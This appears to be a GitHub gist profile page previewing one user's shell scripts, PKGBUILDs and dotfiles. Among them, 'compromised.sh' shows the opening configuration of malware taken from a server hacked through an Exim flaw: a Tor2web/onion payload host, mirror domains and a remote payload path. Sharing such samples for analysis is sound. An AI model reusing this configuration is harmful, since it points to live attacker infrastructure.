Skip to content

Instantly share code, notes, and snippets.

:shipit:
ship all the things

Sarah Harvey worldwise001

:shipit:
ship all the things
Block or report user

Report or block worldwise001

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@worldwise001
worldwise001 / printer.sh
Created Jul 2, 2019
simple bash script to turn printer on
View printer.sh
#!/bin/bash
PIN="26"
if [ ! -d "/sys/class/gpio/gpio$PIN" ]; then
echo $PIN > /sys/class/gpio/export;
fi
if [ "`cat /sys/class/gpio/gpio$PIN/direction`" != "out" ]; then
echo out > /sys/class/gpio/gpio$PIN/direction;
@worldwise001
worldwise001 / PKGBUILD
Last active Jun 17, 2019
PKGBUILD for curaengine 15.04
View PKGBUILD
pkgbase=curaengine-old
pkgname=curaengine-old
pkgver=15.04.6
pkgrel=1
pkgdesc="A full software solution for 3D printing aimed at RepRaps and the Ultimaker. (the old one)"
provides=('curaengine')
conflicts=('curaengine')
url="http://blog.ultimaker.com/cura-user-manual/"
license=('AGPLv3')
arch=('i686' 'x86_64' 'armv7h')
@worldwise001
worldwise001 / compromised.sh
Created Jun 14, 2019
extracted from a box popped by exim rce
View compromised.sh
#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST="https://an7kmd2wp4xo7hpr"
TOR1=".tor2web.su/"
TOR2=".tor2web.io/"
TOR3=".onion.sh/"
RPATH1='src/ldm'
#LPATH="${HOME-/tmp}/.cache/"
TIMEOUT="75"
@worldwise001
worldwise001 / cert_renewal.sh
Created Jun 13, 2019
cert_renewal.sh (ArchLinux)
View cert_renewal.sh
#!/bin/sh
systemctl stop nginx
certbot renew --authenticator standalone --agree-tos
systemctl start nginx
systemctl restart slapd
systemctl restart dovecot
systemctl restart exim
cat /etc/letsencrypt/live/x.shh.sh/chain.pem /etc/ssl/certs/DST_Root_CA_X3.pem > /srv/common/slapd.pem
View .screenrc
shell -${SHELL}
caption always "%{= M} %{G}%H%{W} : %=%?%-w%? %{mW} %n %t%? {%u} %? %{dd} %?%+w%?%= : %{C}%d-%m %{W}%0c:%s "
startup_message off
@worldwise001
worldwise001 / .bashrc
Created Jun 13, 2019
my bashrc for mac os
View .bashrc
#
# ~/.bashrc
#
# If not running interactively, don't do anything
#[[ $- != *i* ]] && return
### COLORS ###
export COLOR_NC='\e[0m' # No Color
View keybase.md

Keybase proof

I hereby claim:

  • I am worldwise001 on github.
  • I am sharvey (https://keybase.io/sharvey) on keybase.
  • I have a public key ASAykHzG0qQ2U4mo0q0_bnNFzsFH3DHbJzIPKiD8u6embwo

To claim this, I am signing this object:

@worldwise001
worldwise001 / PKGBUILD
Created Sep 21, 2014
irssi-colloquy_push PKGBUILD
View PKGBUILD
pkgbasename=irssi
pkgext=colloquy_push
pkgname=${pkgbasename}-${pkgext}
pkgver=0.8.16
pkgrel=1
pkgdesc="Modular text mode IRC client with Perl scripting"
arch=('i686' 'x86_64' 'armv6h')
url="http://irssi.org/"
license=('GPL')
depends=('glib2' 'openssl')
@worldwise001
worldwise001 / autoupdate.sh
Last active Jun 13, 2019
autoupdate.sh (ArchLinux)
View autoupdate.sh
#!/bin/bash
timestamp=`date +%s`
logfile=/var/log/autoupdate/${timestamp}.log
hostname=`hostname`
pacupdate() {
yes | pacman -Scc
yes | pacman -Syu --ignore pacman,glibc,linux-lts,linux-lts-headers,linux,linux-headers,systemd,systemd-sysvcompat,libsystemd --noprogressbar &>> $logfile
yes | pacman -Scc
}
View export_ldif.sh
#!/bin/bash
slapcat > dump.ldif
for i in {structuralObjectClass,entryUUID,creatorsName,createTimestamp,entryCSN,modifiersName,modifyTimestamp}; do
sed "/^$i/ d" dump.ldif > dump.new.ldif
mv dump.new.ldif dump.ldif
done
You can’t perform that action at this time.